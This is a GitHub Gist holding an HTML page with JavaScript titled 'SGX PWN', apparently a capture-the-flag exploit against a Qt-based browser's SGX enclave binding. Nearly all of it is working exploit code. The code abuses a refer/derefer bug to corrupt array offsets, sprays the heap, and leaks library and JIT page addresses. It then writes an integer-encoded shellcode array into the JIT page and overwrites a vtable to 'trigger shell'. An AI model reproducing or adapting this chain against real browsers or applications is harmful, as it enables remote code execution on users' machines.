Created
September 16, 2017 03:17
-
-
Save peternguyen93/e79f275322581f05fcaeee0c3d17260f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>SGX PWN</title> | |
</head> | |
<body> | |
<h1>PWN!!!</h1> | |
<script type="text/javascript"> | |
function print(text) | |
{ | |
document.write(text + "<br />"); | |
} | |
function pwn() | |
{ | |
var libqtcore = 0; | |
var jit_page = 0; | |
var target_idx = -1; | |
var write_idx = -1; | |
var value_vector = 0; | |
var code_refer_stack = 0; | |
var leak_idx = -1; | |
var read_idx = -1; | |
var shellcode = [1389506888, 1932472168, 1647274088, 1497460329, 3242809409, 156049632, 1414545864, 1124952159, 1213734944, 538976309, 1582583840, 2202556759, 3948021441, 478889989, 4142449444, 1224736767, 1393476483, 1582584150, 257440618, 1935761925, 1663901800, 1229201952, 1095520339, 809123161, 1869506336, 1663919469, 1969450081, 1869898092, 3875442]; | |
var f1 = false,f2 = false; | |
SGXImplement.CreateEnclave("hello","tsu_nub"); | |
var encl1 = SGXImplement.GetEnclave("hello","tsu_nub"); | |
var cc = [1,1,1,1,1]; | |
var cc2 = [0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef,0xdeadbeef]; | |
// name , tp, var (array only number) , passwd, id | |
// tp = 0 (normal SGX code) | |
// tp = 1 (refer SGX code) | |
var sgx_code_arry = []; | |
var encl1_sgx = encl1.createSGXCode("encl_code",0,cc,0x41414141,0x0000ffff00000001); | |
var sgx_refer_code = encl1.createSGXCode("encl0_code",1,cc2,0x41414142,1338); | |
// overwrite sgx_refer_code->offset = 0 | |
encl1.refer("encl_code","encl0_code",-1); // set data_refer_idx = -1 still valid | |
// struct QArrayData | |
// { | |
// QtPrivate::RefCount ref; | |
// int size; | |
// unsigned __int32 alloc : 31; | |
// unsigned __int32 capacityReserved : 1; | |
// qptrdiff offset; | |
// }; | |
// trigger use after try cache bug to overwrite QArrayData->offset = 0 | |
// QArrayData now point to beginning of struct. | |
encl1.derefer("encl_code","encl0_code"); | |
encl1.refer("encl_code","encl0_code",0); // encl1->refer_vector->size = 0xffff | |
var target = []; | |
var leak_target = []; | |
for(var i = 0; i < 8192; i++){ | |
var t = 0xcafe0000 + i; | |
var t2 = 0xbafe0000 + i; | |
var pad = encl1.createSGXCode("pwnxxxx_" + i.toString(16),0,cc2,t,123123); | |
var leak = encl1.createSGXCode("leakxxxx_" + i.toString(16),1,cc2,t2,123123); | |
target.push(pad); | |
leak_target.push(leak); | |
// print(leak); | |
} | |
// leak memory | |
// find heap address of leaked leakxxxx_k->ref_code_data | |
// and then calculate distance between that pointer and jit page | |
// to write shellcode to JIT page. | |
for(var i = 0; i < 0x8000; i++){ | |
var v = sgx_refer_code.getrefer(i); | |
var tmp = (v >>> 16); | |
// print(v.toString(16)); | |
if(tmp == 0xcafe && !f1){ | |
libqtcore = sgx_refer_code.getrefer(i + 2) - 0x3593e0; | |
value_vector = sgx_refer_code.getrefer(i + 1); | |
jit_page = libqtcore - 0x708e3000; | |
target_idx = v - 0xcafe0000; | |
write_idx = i; | |
print("! Found value : 0x" + v.toString(16)); | |
print("- Target idx : " + target_idx); | |
print("- libqtcore : 0x" + libqtcore.toString(16)); | |
print("- JIT Page : 0x" + jit_page.toString(16)); | |
print("- value_vector: 0x" + value_vector.toString(16)); | |
f1 = true; | |
} | |
if(tmp == 0xbafe && !f2){ | |
code_refer_stack = sgx_refer_code.getrefer(i + 3); | |
leak_idx = v - 0xbafe0000; | |
read_idx = i; | |
print("! Found value : 0x" + v.toString(16)); | |
print("- leak_target at:" + leak_idx); | |
print("- code_refer_stack: 0x" + code_refer_stack.toString(16)); | |
f2 = true; | |
} | |
if(f1 && f2){ | |
print("Finding need information is done."); | |
break; | |
} | |
} | |
if(libqtcore && code_refer_stack){ | |
// corrupt target SGX_Code | |
// overwrite leakxxxx_->refer_code_data->size = 0xffff | |
var ref_name = "leakxxxx_" + leak_idx.toString(); | |
encl1.refer("encl_code",ref_name,-1); | |
encl1.derefer("encl_code",ref_name); | |
encl1.refer("encl_code",ref_name,0); | |
var distance = value_vector - code_refer_stack; | |
var offset = jit_page - value_vector; | |
// gain write permission in value vector which allows us | |
// write 4 bytes to JIT page. | |
// write leakxxxx_->refer_code_data->offset = pwnxxxx_->value_vector->offset | |
encl1.createSGXCode("distance_1",0,cc,0x41414141,distance); | |
encl1.refer("distance_1",ref_name,2); | |
for(var i = 0; i < shellcode.length; i++){ | |
var name = "offset" + i.toString(); | |
// write pwnxxxx_->value_vector->offset | |
encl1.createSGXCode("name",0,cc,0x41414141,offset + i*4); | |
encl1.refer("name",ref_name,2); | |
// write shellcode to jit page | |
target[target_idx].insert(0,shellcode[i]); | |
} | |
// reset offset value pwnxxxx_->value_vector->offset | |
encl1.createSGXCode("name",0,cc,0x41414141,0x18); | |
encl1.refer("name",ref_name,2); | |
// create fake vtable | |
target[target_idx].insert(0,jit_page); | |
target[target_idx].insert(1,jit_page); | |
target[target_idx].insert(2,jit_page); | |
// overwrite pwnxxxx_->vtable | |
encl1.createSGXCode("pwnxx_vtable",0,cc,0x41414141,value_vector + 0x18); | |
encl1.refer("pwnxx_vtable","encl0_code",write_idx - 4); | |
target[target_idx].emulate(); // trigger shell | |
} | |
print("Done."); | |
} | |
pwn(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment